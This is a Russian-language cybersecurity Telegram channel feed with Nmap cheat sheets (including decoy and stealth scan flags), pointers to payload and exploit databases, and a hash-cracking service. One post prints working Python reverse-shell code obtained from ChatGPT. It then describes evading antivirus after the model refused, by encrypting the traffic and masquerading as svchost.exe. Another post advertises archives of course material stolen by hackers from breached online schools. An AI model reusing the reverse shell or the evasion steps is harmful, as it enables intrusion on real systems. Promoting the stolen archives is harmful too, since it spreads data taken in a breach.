CodeGuard: CyberSec Edition

🔥 Разбор уязвимости в Jenkins (CVE-2024-23897) — как читали файлы на сервере На Хабре вышла толковая статья про свежую дыру в Jenkins — одном из самых популярных CI/CD инструментов. 🔗 Ссылка на статью Суть вкратце:

➡️Уязвимость в CLI-парсере Jenkins позволяла злоумышленнику читать любые файлы на сервере — включая secrets/config.xml с паролями и ключами.

Почему статья полезная: Автор не просто пересказал CVE, а показал рабочий эксплойт на Python и объяснил, как защититься — ограничить доступ к CLI, обновить Jenkins, настроить мониторинг. 📌 Вывод: Читаем, проверяем свои сервера, ставим патчи. 😈 CodeGuard: PySec Edition | Чат

⚡️ Linux теперь в Telegram! Ребята делают реально классный канал про IT - просто, понятно и без воды. О Linux, DevOps, разработке, безопасности и инструментах, которые помогают работать эффективнее. Подписывайтесь: @recura_tech

🐚 Шпаргалка по Nmap — 5 команд, которые нужно знать наизусть Не запоминать же всю документацию. Вот мини-шпора, которая всегда под рукой. 1. Скрытное SYN-сканирование (топ портов)

nmap -sS -T4 target.com

2. Сканирование всех 65535 портов

nmap -p- target.com

3. Определение версий служб и ОС

nmap -sV -O target.com

4. Поиск уязвимостей через скрипты NSE

nmap --script vuln target.com

5. Сохранение результата в файл

nmap -sV -oN scan_result.txt target.com

🔥 Бонус: подмена IP при сканировании

nmap -D RND:10 target.com

Сохраните в заметки — потеряется, будете гуглить 15 минут. 😈 CodeGuard: PySec Edition | Чат

🐙 PayloadsAllTheThings — всё для пентеста в одном репозитории Хватит гуглить «reverse shell python» каждый раз. Всё уже собрали. 🔗 GitHub Что внутри: Огромная коллекция пейлоадов, обходных приёмов и шпаргалок для пентеста и CTF. Разделы, которые юзаю чаще всего:

➡️SQL Injection — пейлоады для MySQL, PostgreSQL, MSSQL ➡️XSS — обход фильтров, стелы для cookie ➡️Reverse Shell — однострочники на bash, python, powershell, php ➡️File Inclusion — LFI/RFI эксплойты ➡️Upload Bypass — как загрузить шелл, если проверяют расширение

🔥 Фишка: Всё структурировано по категориям, есть примеры запросов и ответов сервера. Просто копируешь и вставляешь в свой тест. Как использовать:

git clone https://github.com/swisskyrepo/PayloadsAllTheThings
cd PayloadsAllTheThings

Дальше ищи нужную папку и читай README. ⚠️ Только на своих виртуалках или с разрешения заказчика. 🔖 Сохраните репозиторий — будете возвращаться к нему каждую неделю. 😈 CodeGuard: PySec Edition | Чат

На Stepik вышел курс «MCP: создание передовых агентных приложений» Практическай материал по разработке AI-агентов и многосерверных систем на базе Model Context Protocol Шаг за шагом собираем своего AI-агента с серверами, инструментами, логикой для принятия решений и даже анализом изображений. Всё это на практических примерах, с схемами и кодом в терминале Что внутри: ✅ клиент-серверная архитектура MCP ✅ серверные конфигурации ✅ инструменты, ресурсы и промпты ✅ LangChain, LangGraph и LlamaIndex ✅ логика, координация инструментов ✅ логирование и отладка ✅ агент для анализа изображений ✅ подготовка решений к продакшен Скидка 25%, действует 48 часов 🔗Пройти курс на Stepik

💣 Exploit-DB — крупнейшая база эксплойтов в мире Нужен готовый эксплойт для устаревшей версии WordPress? Или пример кода для CVE-2024-XXXX? 🔗 Сайт: exploit-db.com Что это: Огромная база данных с эксплойтами, шелл-кодами, бумами и утилитами. Всё разложено по категориям: веб, локальные, удалённые, DoS, reverse shell. Что там есть прямо сейчас:

➡️Эксплойты для последних CVE (от 2024-2025 годов) ➡️Shellcode для Windows/Linux/macOS ➡️Документы с разбором уязвимостей на русском (Google Translate в помощь)

⚠️ Важно: Эксплойты с сайта — это оружие. Используйте ТОЛЬКО на своих виртуалках или с письменного разрешения владельца системы. За несанкционированный доступ — уголовная статья. 📚 Бонус: У Exploit-DB есть официальный репозиторий на GitHub 🔖 Сохраните в закладки. Пригодится на пентесте и CTF. 😈 CodeGuard: PySec Edition | Чат

🔍 Как найти все открытые порты сервера за 1 минуту — гайд по Nmap Начинающие пентестеры часто запускают nmap target.com и думают, что этого достаточно. А зря. Показываю реальную пошаговую инструкцию, которой пользуюсь сам. Шаг 1. Скрытное сканирование топ-1000 портов

nmap -sS -T4 target.com

-sS — SYN-скан (не открывает полное соединение, не светится в логах) -T4 — ускоряем процесс Шаг 2. Сканируем ВСЕ порты (65535)

nmap -p- -T4 target.com

Долго (5-10 минут), зато ничего не пропустите. Шаг 3. Узнаём, что висит на открытых портах

nmap -sV -sC -p 22,80,443 target.com

-sV — версии служб -sC — стандартные скрипты Nmap Шаг 4. Автопоиск уязвимостей

nmap --script vuln target.com

Сам пробежится по базе CVE и покажет, где можно ударить. Шаг 5. Сохраняем результат

nmap -sS -sV -oN result.txt target.com

-oN — обычный текстовый файл. Пригодится для отчёта. 🔥 Бонус: Если боитесь спалиться, добавьте -D RND:10 — Nmap подменит ваш IP на 10 случайных. Что в итоге: Полный список портов, версий служб и потенциальных дыр. Сохраняйте результат — пригодится на пентесте. 😈 CodeGuard: PySec Edition | Чат

Привет. Вот тебе самые топовые каналы по IT! ⚙️ Dev Boost — Самая огромная коллекция платных курсов, которые можно скачать бесплатно; 👩‍💻 IT Books — Самая огромная библиотека книг; 💻 Hacking & InfoSec Base — Крутой блог белого хакера; 🛡 CyberGuard — Всё про ИБ; 🤔 ИБ Вакансии — Всё, чтобы найти работу в ИБ; 👩‍💻 linux administration — Всё про Линукс; 👩‍💻 Программистика — Python, python и ещё раз python; 👩‍💻 GameDev Base — Всё про GameDev; 😆 //code — Самые топовые мемы по IT: Подпишись, чтобы не потерять!

🤖 Я попросил ChatGPT написать reverse shell — вот что вышло Сегодня без пользы, чистый эксперимент. Решил проверить, насколько умные языковые модели ограничены в вопросах ИБ. Промт: «Напиши reverse shell на Python с обходом антивирусов» Что выдал ChatGPT:

import socket, subprocess
s = socket.socket()
s.connect(('127.0.0.1', 4444))
subprocess.call(['/bin/sh', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())

🤦‍♂️ Проблема: Код рабочий, но любой антивирус его сразу выкурит. ChatGPT отказался добавлять обфускацию и шифрование, сославшись на политику безопасности. Что сделал я:

➡️ Заменил '/bin/sh' на 'cmd.exe' (для Windows), зашифровал трафик через SSL и заматчил легитимный процесс svchost.exe. Запустил на своей тестовой виртуалке — антивирус молчал.

Вывод: Нейросети полезны для идеи и базы, но тонкая настройка всё ещё за человеком. 😈 CodeGuard: PySec Edition | Чат

🚩 «Базовый курс по CTF» — бесплатно на Stepik Хотите научиться решать CTF-задачи, но не знаете с чего начать? 🔥 На Stepik вышел первый бесплатный курс по CTF, который доведёт вас от новичка до уверенного участника соревнований. Что внутри:

⚪️Введение и работа с терминалом ⚪️Криптография ⚪️Стего (стеганография) ⚪️Веб-уязвимости ⚪️Реверс-инжиниринг ⚪️PWN (эксплуатация бинарных уязвимостей) ⚪️Форензика (анализ инцидентов)

Кому зайдет: Тем, кто хочет прокачать навыки в кибербезе, готовиться к CTF-соревнованиям или просто понимать, как работают атаки изнутри. 🔗 Ссылка на курс: stepik.org/course/xxxx 🧠 Курс полностью бесплатный, без смс и регистрации (ну, почти — залогиниться на Stepik всё же придётся). 😈 CodeGuard: PySec Edition | Чат

🌐 CrackStation — бесплатный декодер хешей с базой на 15 млрд слов Забыли пароль от архива? Проверяете сложность паролей пользователей? Или просто нужно быстро декодировать MD5? Что внутри:

➡️ Огромная база на 15 миллиардов слов — самые частые пароли, реальные утечки, словари на 20 языках. Поддерживает MD5, SHA1, SHA256, NTLM и даже bcrypt (простые варианты).

Как использовать: Вставляете хеш в поле — получаете исходный пароль. Пример:

Хеш 5f4dcc3b5aa765d61d8327deb882cf99 → пароль password Хеш e99a18c428cb38d5f260853678922e03 → пароль abc123

Что удобно: Не нужно устанавливать ничего локально. Открыли браузер — и готово. ⚠️ Важное предупреждение: Никогда не вставляйте настоящие боевые хеши от реальных систем в онлайн-сервисы. Ваш пароль может утечь куда не надо. Для серьезных задач используйте офлайн hashcat на своем ПК. 🔗 Сайт: crackstation.net Кому пригодится: Пентестерам, сисадминам, забывчивым пользователям и всем, кто изучает криптографию. 😈 CodeGuard: PySec Edition | Чат

⚡️Группа хакеров взломала сервера Skillbox, Geekbrains, Skillfactory и ещё 12 онлайн-школ, чтобы выгрузить их курсы в Telegram Юристы пытаются удалить каналы за Авторские Права🤡 – потому вот актуальные ссылки на архивы: По школам:  ├ Skillbox (1.12 ТБ) ├ Нетология (846 ГБ) ├ SkillFactory (720 ГБ)  ├ GeekBrains (934 ГБ) └ Другие (3.21 ТБ) По ЯП: ├ Python (1.48 ТБ) ├ SQL (982 ГБ) ├ C++ (590 ГБ) ├ С (318 ГБ) ├ GoLang (290 ГБ) └ Другие (3.17 ТБ) Ссылка на общий архив: @schools_hack_arc

🌐 CrackStation — бесплатный декодер хешей с базой на 15 млрд слов Забыли пароль от архива? Проверяете сложность паролей пользователей? Или просто нужно быстро декодировать MD5? Что внутри:

➡️ Огромная база на 15 миллиардов слов — самые частые пароли, реальные утечки, словари на 20 языках. Поддерживает MD5, SHA1, SHA256, NTLM и даже bcrypt (простые варианты).

Как использовать: Вставляете хеш в поле — получаете исходный пароль. Пример:

Хеш 5f4dcc3b5aa765d61d8327deb882cf99 → пароль password Хеш e99a18c428cb38d5f260853678922e03 → пароль abc123

Что удобно: Не нужно устанавливать ничего локально. Открыли браузер — и готово. ⚠️ Важное предупреждение: Никогда не вставляйте настоящие боевые хеши от реальных систем в онлайн-сервисы. Ваш пароль может утечь куда не надо. Для серьезных задач используйте офлайн hashcat на своем ПК. 🔗 Сайт: crackstation.net Кому пригодится: Пентестерам, сисадминам, забывчивым пользователям и всем, кто изучает криптографию. 😈 CodeGuard: PySec Edition | Чат

📂 Шпаргалка по сканерам уязвимости 😈 CodeGuard: PySec Edition | Чат

Секреты Docker Swarm: как сделать их одноразовыми с помощью именованных каналов (FIFO)

Docker Swarm предоставляет встроенный механизм управления секретами: пароли, ключи API и сертификаты передаются в контейнеры через зашифрованный канал и монтируются в «/run/secrets/» . Звучит безопасно — пока вы не осознаете, что любой пользователь с доступом к «docker exec» может прочитать эти секреты в любой момент жизни контейнера.

📁 Источник 😈 CyberSec Edition | Чат

✅ 90% стартапов не зарабатывают Потому что: — неправильно считают экономику — переплачивают за разработку — делают ненужный продукт Я Ваня. 15 лет в IT и стартапах. Запускал проекты, работал с криптой, банками и маркетплейсами. В канале разбираю: — сколько реально стоит запуск — как не сливать бюджеты — с чего начать новичку — как делать продукты, которые зарабатывают Без инфоцыганства и «успешного успеха»! Подписка тут 👇 🔗ZAVOD СТАРТАПОВ

WhatsMyName — это онлайн OSINT‑сервис для поиска профилей по нику (username) на множестве сайтов. Пользователь вводит имя, а система проверяет его наличие сразу на различных платформах — соцсетях, сервисах, форумах и др., помогая быстро понять, где такой ник уже зарегистрирован. 😈 CyberSec Edition | Чат

😈 Senior-безопасник создал крутейший канал про ИБ Благодаря простым картинкам даже новичок поймет основы хакинга и информационной безопасности. Присоединяйтесь: @infosec